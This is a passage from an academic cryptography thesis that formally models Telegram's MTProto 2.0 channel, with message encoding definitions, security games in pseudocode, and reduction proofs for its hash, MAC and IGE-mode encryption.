payloads. This mechanism does not need to provide any security assurances, and can be intended for
use with a communication channel that already guarantees cryptographic integrity and confidentiality
of all relayed payloads. We formalise it as a separate primitive called a message encoding scheme. A
cryptographic channel can then be built by composing a message encoding scheme with appropriate
cryptographic primitives that provide integrity and confidentiality.

We now formally define a message encoding scheme. The modular approach suggested above leads us
to define syntax for message encoding that is similar to that of a cryptographic channel. In particular,
a message encoding scheme needs to have stateful encoding and decoding algorithms. Auxiliary
information can be used to relay and verify metadata such as timestamps. One could expect all
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algorithms of a message encoding scheme to be deterministic; our definition uses randomness purely
because it is necessary when modelling Telegram (i.e. because in MTProto 2.0 the length of padding
used for payloads is randomised).

Definition 20 (Message encoding scheme). A message encoding scheme ME specifies algorithms
ME.Init, ME.Encode and ME.Decode, where ME.Decode is deterministic. The syntax used for the
algorithms of ME is given in Fig. 6.5. Associated to ME is a message space ME.MS ⊆ {0, 1}∗ \ {ε},
a payload space ME.Out, a randomness space ME.EncodeRS of ME.Encode, and a payload length
function ME.pl : N ×ME.EncodeRS→ N. The initialisation algorithm ME.Init returns I’s and
R’s initial states stI and stR . The encoding algorithm ME.Encode takes stu for u ∈ {I,R},
a message m ∈ ME.MS, and auxiliary information aux to return the updated state stu and a
payload p ∈ ME.Out. We may surface random coins r ∈ ME.EncodeRS as an additional input to
ME.Encode; then a message m should be encoded into a payload p of length

��p�� = ME.pl( |m |, r).
The decoding algorithm ME.Decode takes stu, p, and auxiliary information aux to return the
updated state stu and a message m ∈ ME.MS ∪ {⊥}.

(stI, stR) ←$ ME.Init()
(stu, p) ← ME.Encode(stu,m, aux; r)
(stu,m) ← ME.Decode(stu, c, aux)

Figure 6.5. Syntax of a message encoding scheme ME.

Next, we define two properties of a message encoding scheme: encoding correctness and encoding
integrity. We formalise each property with respect to a support function, in a similar way to how
we formalised correctness and integrity for a channel in Section 6.2.4. The encoding correctness and
integrity notions both roughly require that the decoding algorithm of a message encoding scheme
always returns outputs that are consistent with the support function. The two notions differ in that
encoding correctness only requires the outputs to be consistent until the first error occurs (i.e. until
the support function returns ⊥), whereas encoding integrity also requires the decoding algorithm
to recover from errors and keep returning consistent outputs throughout. Encoding integrity is a
strictly stronger notion than encoding correctness.

We formalise both notions in the setting where the message encoding scheme is being run over
an authenticated channel. This reflects the intuition that the message encoding scheme does not
have to provide any cryptographic properties, but it is expected to be composed with a primitive
that guarantees the integrity of communication. In contrast, the message encoding scheme itself is
responsible for providing all properties that are required by a support function and are not implied
by integrity. This may include the impossibility to replay, reorder and drop messages.
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Definition 21 (Encoding correctness and encoding integrity of ME). The games in Fig. 6.6
formalise the encoding correctness and integrity notions of a message encoding scheme ME with
respect to a support function supp. The advantage of an adversary A in breaking the encoding
correctness of ME with respect to supp is defined as Advecorr

ME,supp (A) B Pr
[
Gecorr

ME,supp,A

]
. The

advantage of an adversary A in breaking the encoding integrity (EINT-security) of ME with
respect to supp is defined as Adveint

ME,supp (A) B Pr
[
Geint

ME,supp,A

]
.

Gecorr
ME,supp,A / Geint

ME,supp,A

1 : win← false
2 : (stME,I, stME,R) ←$ ME.Init()
3 : ASend,Recv (stME,I, stME,R)
4 : return win

Send(u,m, aux, r)
1 : (stME,u, p) ← ME.Encode(stME,u,m, aux; r)
2 : tru ← tru ∥ (sent,m, p, aux)
3 : return p

Recv(u, p, aux)
1 : if �m′, aux′ : (sent,m′, p, aux′) ∈ tru then
2 : return ⊥
3 : m∗ ← supp(u, tru, tru, p, aux)

4 : if m∗ = ⊥ then return ⊥
5 : (stME,u,m) ← ME.Decode(stME,u, p, aux)
6 : tru ← tru ∥ (recv,m, p, aux)
7 : if m ≠ m∗ then
8 : win← true
9 : return m

Figure 6.6. Encoding correctness and encoding integrity of a message encoding scheme ME with
respect to a support function supp. The gameGecorr

ME,supp,A includes the boxed code; the gameGeint
ME,supp,A

does not.

The two core differences from the corresponding channel notions in Section 6.2.4 are as follows.
First, the message encoding scheme is meant to be run within an integrity-protected communication
channel, so the Recv oracle in both games now starts by checking that the queried payload p was
returned by a prior call to the opposite user’s Send oracle. Second, the message encoding is not meant
to serve any cryptographic purpose, so the initial states stME,I, stME,R should not contain any secret
information and are given as inputs to A in both games.

In Section 6.6, we define three more properties of message encoding that will be necessary for our
security analysis of MTProto 2.0. None of these properties are defined with respect to a support
function. Our modular approach of building a channel from a message encoding scheme serves to
localise the number of times we need to consider the specifics of a support function.6

6The integrity of the channel that we study is reduced to the encoding integrity of the underlying message encoding
scheme in Section 6.7.3, which is itself proved in Section 6.6.2.

97



6.3 MTProto-based channel

6.3 MTProto-based channel

In this section, we introduce a formal definition of the MTProto channel and compare it with the
informal description in Section 5.2. First, we outline the differences between the real protocol and
our model in Section 6.3.1, and then we give our definitions in Section 6.3.2.

6.3.1 Modelling differences

In general, we would like our formal model of MTProto 2.0 to stay as close as possible to the real
protocol, so that when we prove statements about the model, we obtain meaningful assurances about
the security of the real protocol. However, as Chapter 5 demonstrates, the current protocol has
flaws. These prevent meaningful security analysis and can be removed by making small changes
to the protocol’s handling of metadata and by fixing implementation errors. Further, the protocol
has certain features that make it less amenable to formal analysis. Here, we describe the modelling
decisions we took that depart from the current version of MTProto 2.0 and justify each change.

Inconsistency. There is no authoritative specification of the protocol. The Telegram documentation
often differs from the implementations and the clients are not consistent with each other.7 Where
possible, we chose a sensible “default” choice from the observed set of possibilities, but we stress that
it is in general impossible to create a formal specification of MTProto that would be valid for all
official implementations. For instance, the documentation defines server_salt as “A (random) 64-bit
number periodically (say, every 24 hours) changed (separately for each session) at the request of the
server” [Tel21e]. In practice the clients receive salts that change every hour andwhich overlap with each
other.8 For differences in the code of the clients, consider padding generation: on desktop [Tel21m],
a given message length will always result in the same padding length, whereas on Android [Tel21l],
the padding length is randomised.

Application layer. Similarly, there is no clear separation between the cryptographic protocol of
MTProto and the application data processing (expressed using the TL schema). However, to reason
succinctly about the protocol we require a certain level of abstraction. In concrete terms, this
means that we consider the msg_data field (see Table 5.1) as “the message”, without interpreting its
contents and in particular without modelling TL constructors. However, this separation does not
exist in implementations of MTProto – for instance, message encoding behaves differently for some
constructors (e.g. container messages) – and so our model does not capture these details.

Client/server roles. The client and the server are not considered equal in MTProto. For instance,
the server is trusted to timestamp messages for chat history, while the clients are not. The client
chooses the session_id, the server generates the server_salt. The server accepts any session_id given in

7Since the server code was not available, we inferred its behaviour from observing the communication.
8The documentation was updated in response to the publication of our results [Tel21f].
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the first message and then expects that value, while the client checks the session_id but may accept any
server_salt given.9 Clients do not check the msg_seq_no field. The protocol implements elaborate
measures to synchronise “bad” client time with server time, which includes: checks on the timestamp
within msg_id as well as the salt, special service messages [Tel20b] and the resending of messages with
regenerated headers. Since much of this behaviour is not critical for security, we model both parties of
the protocol as equals. Expanding our model with this behaviour should be possible without affecting
most of the proofs.

Key exchange. We are concerned with the symmetric part of the protocol, and thus assume that the
shared auth key ak is a uniformly random string rather than of the form g ab mod p resulting from
the actual key exchange.

Bit mixing. MTProto uses specific bit ranges of the auth key ak as KDF and MAC inputs (see
Fig. 5.1). These ranges do not overlap for different primitives (i.e. the KDF key inputs are wholly
distinct from the MAC key inputs), and we model ak as a random value, so without loss of generality
our model generates the KDF and MAC key inputs as separate random values. The key input ranges
for the client and the server do overlap for KDF and MAC separately, however, so we model this in
the form of related-key-deriving functions.

Further, the KDF intermixes specific bit ranges of the outputs of two SHA-256 calls to derive
the encryption keys and IVs. We argue that this is unnecessary – the intermixed KDF output is
indistinguishable from random (the usual security requirement of a key derivation function) if and
only if the concatenation of the two SHA-256 outputs is indistinguishable from random. Hence in
our model the KDF just returns the concatenation.

Order. Given that MTProto operates over reliable transport channels, it is not necessary to allow
messages arriving out of order. Our model imposes stricter validation on metadata upon decryption
via a single sequence number that is checked by both sides and only the next expected value is
accepted. Enforcing strict ordering also automatically rules out message replay and drop attacks,
which the implementation of MTProto as studied avoided in some cases only due to application-level
processing.10

Re-encryption. Because of the attacks in Section 5.3.2, we insist in our formalisation that all sent
messages include a fresh value in the header. This is achieved via a stateful secure channel definition in
which either a client or server sequence number is incremented on each call to the CH.Send oracle.

9The Android client accepts any value in the place of server_salt, and the desktop client [Tel21o] compares it with a
previously saved value and resends the message if they do not match and if the timestamp within msg_id differs from the
acceptable time window.

10Secret chats implement more elaborate measures against replay/reordering [Tel21i], however this complexity is not
required when in-order delivery is established for each direction separately.
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Message encoding. Some of the previous points outline changes to message encoding. We simplify
the scheme, keeping to the format of Table 5.1 but not modelling diverging behaviours upon decoding.
The implemented MTProto message encoding scheme behaves differently depending on whether
the user is a client or a server, but each of them checks a 64-bit value in the first plaintext block,
session_id and server_salt respectively. To prove security of the channel, it is enough that there is
a single such value that both parties check, and it does not need to be randomised, so we model a
constant sid and we leave the salt as an empty field. We also merge the msg_id and msg_seq_no fields
into a single sequence number field of corresponding size, reflecting that a simple counter suffices in
place of the original fields. Note that though we only prove security with respect to this particular
message encoding scheme, our modelling approach is flexible and can accommodate more complex
message encoding schemes.

6.3.2 Formal model

Channel. Our model of the MTProto channel is given in Definition 22 and Fig. 6.7. We abstract the
individual keyed primitives into function families.11

Definition 22 (MTProto channel). Let:
• ME be a message encoding scheme,
• HASH be a function family such that {0, 1}992 ⊆ HASH.In,
• MAC be a function family such that ME.Out ⊆ MAC.In,
• KDF be a function family such that {0, 1}MAC.ol ⊆ KDF.In,
• ϕMAC : {0, 1}320 → MAC.Keys ×MAC.Keys,
• ϕKDF : {0, 1}672 → KDF.Keys × KDF.Keys, and
• SE be a deterministic symmetric encryption scheme with SE.kl = KDF.ol and SE.MS =

ME.Out.
Then CH = MTP-CH[ME,HASH,MAC,KDF, ϕMAC, ϕKDF,SE] is the MTProto channel as defined
in Fig. 6.7, with CH.MS = ME.MS and CH.SendRS = ME.EncodeRS.

CH.Init generates the keys for both users and initialises the message encoding scheme. Note that the
auth key ak as described in Section 5.2 does not appear in the code in Fig. 6.7, since each part of ak
that is used for keying the primitives can be generated independently. These parts are denoted by hk,
kk and mk.12 The functions ϕKDF and ϕMAC are then used to derive the (related) keys for each user
from kk and mk respectively.

CH.Send proceeds by first using ME to encode a message m into a payload p. The MAC is computed
on this payload to produce a message key msk, and the KDF is called on msk to compute the key and

11While the definition itself could admit many different implementations of the primitives, we are interested in modelling
MTProto and thus do not define our channel in a fully general way, e.g. we fix some key sizes.

12Figure 5.1 shows the placement of kk and mk within the original ak. The key hk used for HASH is then deliberately
chosen to contain all bits of ak that are not used for the KDF and MAC keys kk, mk.
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CH.Init

1 : hk←$ {0, 1}HASH.kl

2 : kk←$ {0, 1}672

3 : mk←$ {0, 1}320

4 : aid ← HASH.Ev(hk, kk ∥ mk)
5 : (kkI, kkR) ← ϕKDF (kk)
6 : (mkI,mkR) ← ϕMAC (mk)
7 : keyI ← (kkI,mkI)
8 : keyR ← (kkR,mkR)
9 : (stME,I, stME,R) ←$ ME.Init()
10 : stI ← (aid, keyI, keyR, stME,I)
11 : stR ← (aid, keyR, keyI, stME,R)
12 : return (stI, stR)

CH.Send(stu,m, aux; r)
1 : (aid, keyu, keyu, stME) ← stu
2 : (kku,mku) ← keyu
3 : (stME, p) ← ME.Encode(stME,m, aux; r)
4 : msk← MAC.Ev(mku, p)
5 : k ← KDF.Ev(kku,msk)
6 : cSE ← SE.Enc(k, p)
7 : c ← (aid,msk, cSE)
8 : stu ← (aid, keyu, keyu, stME)
9 : return (stu, c)

CH.Recv(stu, c, aux)
1 : (aid, keyu, keyu, stME) ← stu
2 : (kku,mku) ← keyu
3 : (aid′,msk′, cSE) ← c
4 : if aid′ ≠ aid then
5 : return (stu,⊥)
6 : k ← KDF.Ev(kku,msk′)
7 : p← SE.Dec(k, cSE)
8 : msk← MAC.Ev(mku, p)
9 : if msk′ ≠ msk then
10 : return (stu,⊥)
11 : (stME,m) ← ME.Decode(stME, p, aux)
12 : stu ← (aid, keyu, keyu, stME)
13 : return (stu,m)

Figure 6.7. Construction of the MTProto-based channel CH = MTP-CH[ME,HASH,MAC,KDF,
ϕMAC, ϕKDF,SE].

IV for symmetric encryption SE, here abstracted as k. The payload is encrypted with SE using this
key material, and the resulting ciphertext is called cSE. The ciphertext c consists of aid, msk and the
symmetric ciphertext cSE.

CH.Recv reverses the steps by first computing k from the message key msk′ parsed from c , then
decrypting cSE to the payload p, and recomputing the MAC of p to check whether it equals msk′. If
not, it returns ⊥ (without changing the state) to signify failure. If the check passes, it uses ME to
decode the payload into a message m. It is important the MAC check is performed before ME.Decode
is called, otherwise this opens the channel to attacks – as we have shown in Section 5.4.

Message encoding. Next, the MTProto message encoding scheme MTP-ME is specified in Def-
inition 23 and Fig. 6.8. It is a simplified scheme for strict in-order delivery without replays (see
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Appendix D.4 for the actual MTProto scheme that permits reordering).

Definition 23 (MTProto message encoding scheme). Let sid ∈ {0, 1}64 and npad, `block ∈ N;
sid is the session identifier, npad is the maximum padding length (in full blocks) and `block

is the output block length. Denote by ME = MTP-ME[sid,npad, `block] the MTProto message
encoding scheme given in Fig. 6.8, with ME.MS =

⋃224
i=1{0, 1}8·i , ME.Out =

⋃
i∈N{0, 1}`block ·i and

ME.pl(`, r) = 256 + ` + |GenPadding(`; r) |.a

aThe definition of ME.pl assumes that GenPadding is invoked with the random coins of the corresponding
ME.Encode call. For simplicity, we chose to not surface these coins in Fig. 6.8 and instead handle this implicitly.

ME.Init()
1 : Nsent ← 0
2 : Nrecv ← 0
3 : stME,I ← (sid,Nsent,Nrecv)
4 : stME,R ← (sid,Nsent,Nrecv)
5 : return (stME,I, stME,R)

ME.Encode(stME,u,m, aux)
1 : (sid,Nsent,Nrecv) ← stME,u

2 : salt← ⟨0⟩64
3 : seq_no← ⟨Nsent⟩96
4 : length← ⟨|m |/8⟩32
5 : padding←$ GenPadding( |m |)
6 : p0 ← salt ∥ sid
7 : p1 ← seq_no ∥ length
8 : p2 ← m ∥ padding
9 : p← p0 ∥ p1 ∥ p2
10 : Nsent ← (Nsent + 1) mod 296

11 : stME,u ← (sid,Nsent,Nrecv)
12 : return (stME,u, p)

GenPadding(`)
1 : `′ ← `block − ` mod `block

2 : n←$ {1, · · · ,npad}
3 : padding←$ {0, 1}`′+n∗`block

4 : return padding

ME.Decode(stME,u, p, aux)
1 : if

��p�� < 256 then return (stME,u,⊥)
2 : (sid,Nsent,Nrecv) ← stME,u

3 : ` ←
��p�� − 256

4 : salt← p[0 : 64]
5 : sid′ ← p[64 : 128]
6 : seq_no← p[128 : 224]
7 : length← p[224 : 256]
8 : if (sid′ ≠ sid) ∨ (seq_no ≠ Nrecv)∨
9 : ¬(0 < length ≤ `/8) then
10 : return (stME,u,⊥)
11 : m ← p[256 : 256 + length · 8]
12 : Nrecv ← (Nrecv + 1) mod 296

13 : stME,u ← (sid,Nsent,Nrecv)
14 : return (stME,u,m)

Figure 6.8. Construction of the simplified message encoding scheme for strict in-order delivery
ME = MTP-ME[sid,npad, `block].

As justified in Section 6.3.1, MTP-ME follows the header format of Table 5.1, but it does not use the
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server_salt field (we define salt as filled with zeros to preserve the field order) and we merge the 64-bit
msg_id and 32-bit msg_seq_no fields into a single 96-bit seq_no field. Note that the internal counters
of MTP-ME wrap around when seq_no “overflows” modulo 296, and an attacker can start replaying
old payloads as soon as this happens.

Primitives. The following SHA-1 and SHA-256-based function families capture the MTProto prim-
itives that are used to derive the auth key identifier aid, the message key msk and the symmetric
encryption key k.

Definition 24 (MTProto HASH). MTP-HASH is the function family defined by
MTP-HASH.Keys B {0, 1}1056, MTP-HASH.In B {0, 1}992, MTP-HASH.ol B 128 and
MTP-HASH.Ev given in Fig. 6.9.

MTP-HASH.Ev(hk, x)
1 : kk← x [0 : 672] ; mk← x [672 : 992]
2 : r0 ← hk[0 : 32] ; r1 ← hk[32 : 1056]
3 : ak← kk ∥ r0 ∥ mk ∥ r1
4 : aid ← SHA-1(ak) [96 : 160]
5 : return aid

Figure 6.9. Construction of the function family MTP-HASH.

Definition 25 (MTProtoMAC). MTP-MAC is the function family defined byMTP-MAC.Keys B
{0, 1}256, MTP-MAC.In B {0, 1}∗, MTP-MAC.ol B 128 and

MTP-MAC.Ev(mku, p) B SHA-256(mku ∥ p) [64 : 192] .

Definition 26 (MTProto KDF). MTP-KDF is the function family defined by MTP-KDF.Keys B
{0, 1}288 × {0, 1}288, MTP-KDF.In B {0, 1}128, MTP-KDF.ol B 2 · SHA-256.ol and MTP-KDF.Ev
given in Fig. 6.10.

MTP-KDF.Ev(kku,msk)
1 : (kk0, kk1) ← kku
2 : k0 ← SHA-256(msk ∥ kk0)
3 : k1 ← SHA-256(kk1 ∥ msk)
4 : k ← k0 ∥ k1
5 : return k

Figure 6.10. Construction of the function family MTP-KDF.

103



6.4 Standard security requirements

Since the keys for MTP-KDF and MTP-MAC in MTProto are not independent for the two users, we
have to work in a related-key setting. We are inspired by the RKA framework of [BK03], but define
our related-key-deriving function ϕKDF and ϕMAC to output both keys at once, as a function of kk
and mk respectively.

Definition 27 (Related-key-deriving functions). Let KKDF = MTP-KDF.Keys and KMAC =

MTP-MAC.Keys. Define ϕKDF : {0, 1}672 → KKDF ×KKDF and ϕMAC : {0, 1}320 → KMAC ×KMAC

as the functions given in Fig. 6.11.

ϕKDF(kk)
1 : kkI,0 ← kk[0 : 288]
2 : kkR,0 ← kk[64 : 352]
3 : kkI,1 ← kk[320 : 608]
4 : kkR,1 ← kk[384 : 672]
5 : kkI ← (kkI,0, kkI,1)
6 : kkR ← (kkR,0, kkR,1)
7 : return (kkI, kkR)

(a) ϕKDF : {0, 1}672 → KKDF × KKDF.

ϕMAC(mk)
1 : mkI ← mk[0 : 256]
2 : mkR ← mk[64 : 320]
3 : return (mkI,mkR)

(b) ϕMAC : {0, 1}320 → KMAC × KMAC.

Figure 6.11. Related-key-deriving functions ϕKDF and ϕMAC.

Finally, we define the deterministic symmetric encryption scheme based on IGE mode.

Definition 28 (MTProto SE). Let AES-256 be the standard AES block cipher with AES-256.kl =
256 and AES-256.ol = 128, and let IGE be the IGE block cipher mode. Define MTP-SE B
IGE[AES-256].

6.4 Standard security requirements

In this section, we begin to define and prove the security notions that we require to hold for the
primitives of MTP-CH. We start with the security requirements that can be considered standard. In
the sections that follow, Sections 6.5 and 6.6, we will do the same for security notions that can only
be proven secure under novel assumptions and for security notions specific to message encoding; we
will also define the support function against which we will measure the MTProto channel. We use the
game-hopping framework introduced in Section 2.2 and refer to standard definitions from Section 2.3.

6.4.1 One-time weak indistinguishability (OTWIND) of MTP-HASH

First, we require that MTP-HASH satisfies one-time weak indistinguishability.
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Definition 29 (OTWIND-security). Consider the game Gotwind
HASH,D in Fig. 6.12 defined for a

function family HASH and an adversary D. The advantage of D in breaking the OTWIND-
security of HASH is defined as Advotwind

HASH (D) B 2 · Pr
[
Gotwind

HASH,D

]
− 1.

Gotwind
HASH,D

1 : b ←$ {0, 1}
2 : hk←$ {0, 1}HASH.kl

3 : x0 ←$ HASH.In ; x1 ←$ HASH.In
4 : aid ← HASH.Ev(hk, xb )
5 : b ′ ←$ D(x0, x1, aid)
6 : return b ′ = b

Figure 6.12. One-time weak indistinguishability of a function family HASH.

The game Gotwind
HASH,D in Fig. 6.12 evaluates the function family HASH on a challenge input xb using

a secret uniformly random key hk. The adversary D is given x0, x1 and the output of HASH; it is
required to guess the challenge bit b ∈ {0, 1}. The game samples inputs x0, x1 uniformly at random
rather than allowing D to choose them, so this security notion requires HASH to provide only a weak
form of one-time indistinguishability.

We give a formal reduction from the OTWIND-security of MTP-HASH to the one-time PRF-security
of SHACAL-1, the block cipher underlying SHA-1. At a high level, our proof uses the fact that the
construction of MTP-HASH evaluates SHACAL-1 using uniformly random independent keys, and
hence produces random-looking outputs if SHACAL-1 is a PRF. The final SHACAL-1 call on a known
constant (the padding) cannot improve the distinguishing advantage; this is a special case of the data
processing inequality.

Proposition 1. Let DOTWIND be an adversary against the OTWIND-security of the function family
MTP-HASH. Then we can build an adversary DOTPRF against theOTPRF-security of the block cipher
SHACAL-1 such that

Advotwind
MTP-HASH (DOTWIND) ≤ 2 · Advotprf

SHACAL-1 (DOTPRF) .

Proof. Recall that SHA-1 operates on 512-bit input blocks. Padding is appended at the end of the
last input block (see Fig. 2.4). If the message size is already a multiple of the block size (as it is in
MTP-HASH), a new input block is added. For a message of length 2048, we denote the added block of
padding by xp . Define P as the public function P (ℎi) B f160(ℎi, xp), i.e. the last iteration of SHA-1
over the padding block.

Consider the games G0–G1 in Fig. 6.13.
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Games G0–G1

1 : b ←$ {0, 1}
2 : hk←$ {0, 1}MTP-HASH.kl

3 : x0 ←$ MTP-HASH.In ; x1 ←$ MTP-HASH.In

4 : ℎ0 ← IV 160

5 : ℎ1 ← f160 (ℎ0, xb [0 : 512])

6 : ℎ2 ← f160 (ℎ1, xb [512 : 672] ∥ hk[0 : 32] ∥ xb [672 : 992])

7 : r0 ← SHACAL-1.Ev(hk[32 : 544], ℎ2) // G0

8 : r0 ←$ {0, 1}SHACAL-1.ol // G1

9 : ℎ3 ← ℎ2 +̂ r0
10 : r1 ← SHACAL-1.Ev(hk[544 : 1056], ℎ3) // G0

11 : r1 ←$ {0, 1}SHACAL-1.ol // G1

12 : ℎ4 ← ℎ3 +̂ r1
13 : aid ← P (ℎ4) [96 : 160]
14 : b ′ ←$ DOTWIND (x0, x1, aid)
15 : return b ′ = b

Figure 6.13. Games G0–G1 for the proof of Proposition 1. The code added by expanding the
algorithm MTP-HASH.Ev in the game Gotwind

MTP-HASH,DOTWIND
is highlighted in grey .

The game G0 expands the code of MTP-HASH.Ev in the game Gotwind
MTP-HASH,DOTWIND

(Fig. 6.12). The
evaluation of the function family MTP-HASH (on 2048-bit long inputs) can be expanded into five
calls to the compression function f160 of SHA-1. The third and fourth calls to the compression
function f160 would take as input two blocks that are formed from the function key of MTP-HASH, i.e.
hk[32 : 1056]. The game G0 rewrites these calls to use two invocations of SHACAL-1.Ev accordingly,
using uniformly random and independent keys hk[32 : 544] and hk[544 : 1056]. The game G0 is
functionally equivalent to the game Gotwind

MTP-HASH,DOTWIND
, hence

Pr[G0] = Pr
[
Gotwind

MTP-HASH,DOTWIND

]
.

In the game G1, the outputs of the SHACAL-1.Ev calls are replaced with random values. Here, the
adversary DOTWIND is given aid = P (ℎ3 +̂ r1) [96 : 160] for a uniformly random value r1 that does
not depend on the challenge bit b , so the probability of DOTWIND winning in this game is

Pr[G1] =
1
2
.

We construct an adversary DOTPRF against the OTPRF-security of SHACAL-1 as shown in Fig. 6.14
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such that
Pr[G0] − Pr[G1] = Advotprf

SHACAL-1 (DOTPRF) .

Let d be the challenge bit in the game Gotprf
SHACAL-1,DOTPRF

(Fig. 2.6) and d ′ be the output of the adversary
in that game. If d = 1, then the queries to RoR made by DOTPRF return the output of evaluating
SHACAL-1 with random keys. If d = 0, then each call to RoR returns a uniformly random value
from {0, 1}SHACAL-1.ol.

Adversary DRoR

OTPRF

1 : b ←$ {0, 1}

2 : hk′ ←$ {0, 1}32

3 : x0 ←$ MTP-HASH.In ; x1 ←$ MTP-HASH.In
4 : ℎ0 ← IV 160

5 : ℎ1 ← f160 (ℎ0, xb [0 : 512])

6 : ℎ2 ← f160 (ℎ1, xb [512 : 672] ∥ hk′ ∥ xb [672 : 992])
7 : r0 ← RoR(H2)
8 : ℎ3 ← ℎ2 +̂ r0
9 : r1 ← RoR(H3)
10 : ℎ4 ← ℎ3 +̂ r1
11 : aid ← P (ℎ4) [96 : 160]
12 : b ′ ←$ DOTWIND (x0, x1, aid)
13 : if b ′ = b then return 1 else return 0

Figure 6.14. Adversary DOTPRF against the OTPRF-security of SHACAL-1 for the proof of Proposi-
tion 1. Depending on the challenge bit in the game Gotprf

SHACAL-1,DOTPRF
, DOTPRF simulates the game G0

or G1 for DOTWIND.

We can write:

Advotprf
SHACAL-1 (DOTPRF) = Pr

[
d ′ = 1

�� d = 1
]
− Pr

[
d ′ = 1

�� d = 0
]

= Pr[G0] − Pr[G1]

=
1
2
·
(
Advotwind

MTP-HASH (DOTWIND) + 1
)
− 1
2

=
1
2
· Advotwind

MTP-HASH (DOTWIND) .

The inequality follows.

6.4.2 Collision resistance under RKA (RKCR) of MTP-MAC

The next definition formalises the requirement that collisions in the outputs of MTP-MAC under
related keys are hard to find.
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Definition 30 (RKCR-security). Consider the game Grkcr
MAC,ϕMAC,A in Fig. 6.15 defined for a

function family MAC, the related-key-deriving function ϕMAC and an adversary A. The ad-
vantage of A in breaking the RKCR-security of MAC with respect to ϕMAC is defined as
Advrkcr

MAC,ϕMAC
(A) B Pr

[
Grkcr

MAC,ϕMAC,A

]
.

Grkcr
MAC,ϕMAC,A

1 : mk←$ {0, 1}320

2 : (mkI,mkR) ← ϕMAC (mk)
3 : (u, p0, p1) ←$A(mkI,mkR)
4 : msk0 ← MAC.Ev(mku, p0)
5 : msk1 ← MAC.Ev(mku, p1)
6 : return (p0 ≠ p1) ∧ (msk0 = msk1)

Figure 6.15. Related-key collision resistance of the function family MAC with respect to the related-
key-deriving function ϕMAC.

The game Grkcr
MAC,ϕMAC,A in Fig. 6.15 gives the adversaryA two related function keysmkI,mkR (created

by the related-key-deriving function ϕMAC), and requires it to produce two payloads p0, p1 (for either
user u) such that there is a collision in the corresponding outputs msk0,msk1 of MAC.

It is clear by inspection that the RKCR-security of MTP-MAC with respect to ϕMAC from Fig. 6.11
reduces to the CR-security of truncated-output SHA-256, since we have

MTP-MAC.Ev(mku, p) = SHA-256(mku ∥ p) [64 : 192] .

6.4.3 One-time indistinguishability from random (OTIND$) of MTP-SE

Next, we require that the MTProto symmetric encryption scheme MTP-SE is indistinguishable from
random in the weaker, one-time setting.

For any block cipher E, we can show that IGE[E] as used in MTProto is OTIND$-secure if CBC[E]
is OTIND$-secure (as per Definition 12). This follows from the observation that the IGE encryption
algorithm IGE[E] .Enc, for any block cipher E, can be expressed in terms of the CBC encryption
algorithm CBC[E] .Enc as shown in Fig. 6.16. This enables us to use standard results [BDJR97, Rog04]
on CBC in our analysis of MTProto.

Proposition 2. Let E be a block cipher. Consider the deterministic symmetric encryption schemes SEIGE =

IGE[E] and SECBC = CBC[E] as defined in Fig. 2.1. Let DIGE be an adversary against the OTIND$-
security of SEIGE. Then we can build an adversary DCBC against the OTIND$-security of SECBC such
that

Advotind$
SEIGE

(DIGE) ≤ Advotind$
SECBC

(DCBC) .
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IGE[E] .Enc(k′,m1 ∥ . . . ∥ mt ) // |mi | = E.ol

1 : k ∥ c0 ∥ m0 ← k′

2 : m−1 ← ⟨0⟩E.ol // a string of zeros

3 : for i = 1, . . . , t do
4 : m′i ← mi ⊕ mi−2

5 : k′ ← k ∥ c0
6 : c ′1 ∥ . . . ∥ c

′
t ← CBC[E] .Enc(k′,m′1 ∥ . . . ∥ m

′
t )

7 : for i = 1, . . . , t do
8 : ci ← c ′i ⊕ mi−1

9 : return c1 ∥ . . . ∥ ct

Figure 6.16. Construction of IGE[E] .Enc from CBC[E] .Enc for any block cipher E. When parsing
k′, assume that

��k�� = E.kl and |c0 | = |m0 | = E.ol.

Proof. Consider the adversary DCBC in Fig. 6.17. We now show that when this adversary plays in the
game Gotind$

SECBC,DCBC
(Fig. 2.7) for any challenge bit b ∈ {0, 1}, it simulates the game Gotind$

SEIGE,DIGE
for the

adversary DIGE with respect to the same challenge bit.

Adversary DRoR

CBC

1 : b ′ ←$ DRoRSim

IGE

2 : return b ′

RoRSim(m1 ∥ . . . ∥ mt ) // |mi | = E.ol

1 : m−1 ← ⟨0⟩E.ol

2 : m0 ←$ {0, 1}E.ol

3 : for i = 1, . . . , t do
4 : m′i ← mi ⊕ mi−2

5 : c ′ ← RoR(m′1 ∥ . . . ∥ m
′
t )

6 : for i = 1, . . . , t do
7 : ci ← c ′i ⊕ mi−1

8 : return c1 ∥ . . . ∥ ct

Figure 6.17. AdversaryDCBC against theOTIND$-security of CBC[E] for the proof of Proposition 2.

If b = 0 in Gotind$
SECBC,DCBC

, then RoR(m′) on line 5 returns a uniformly random value as c ′, which is
preserved under XOR.

If b = 1, then we get c ′ = SECBC.Enc(k′,m′) for a uniformly random SECBC challenge key k′ = k ∥ c ′0.
Here, we have c ′i = E.Ev(k,mi⊕mi−2⊕c ′i−1). Since ci = c ′i ⊕mi−1, we get ci = E.Ev(k,mi⊕ci−1)⊕mi−1

and so c = SEIGE.Enc(k ∥ c ′0 ∥ m0,m).

In both cases, the adversary DCBC perfectly simulates the RoR oracle for the adversary DIGE, so

Advotind$
SECBC

(DCBC) = Advotind$
SEIGE

(DIGE) .
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6.5 Security requirements from novel assumptions

6.5.1 Novel assumptions about SHACAL-2 (LRKPRF, HRKPRF)

In this section, we define two novel assumptions about SHACAL-2. Both require SHACAL-2 to be
a related-key PRF when evaluated on the fixed input IV 256 (i.e. on the initial state of SHA-256),
meaning that the adversary can obtain the values of SHACAL-2.Ev(·, IV 256) for a number of different
but related keys. We formalise the two assumptions as security notions, called LRKPRF andHRKPRF,
each defined with respect to different related-key-deriving functions; this reflects the fact that these
security notions allow the adversary to choose the keys in substantially different ways. The notion
of LRKPRF-security derives the SHACAL-2 keys partially based on the function ϕKDF, whereas the
notion of HRKPRF-security derives SHACAL-2 keys partially based on the function ϕMAC (both
functions are defined in Fig. 6.11). Both security notions also have different flavours of leakage
resilience: (1) the security game defining LRKPRF allows the adversary to directly choose 128 bits
of the 512-bit long SHACAL-2 key, with another 96 bits of this key fixed and known (due to being
chosen by the SHA padding function SHA-pad), and (2) the security game defining HRKPRF allows
the adversary to directly choose 256 bits of the 512-bit long SHACAL-2 key.

We use the notion of LRKPRF-security to justify the RKPRF-security of MTP-KDF with respect
to ϕKDF (shown in Section 6.5.2), which is needed in both the IND-security and the INT-security
proofs of MTP-CH. We use the notion of HRKPRF-security to justify the UPRKPRF-security of
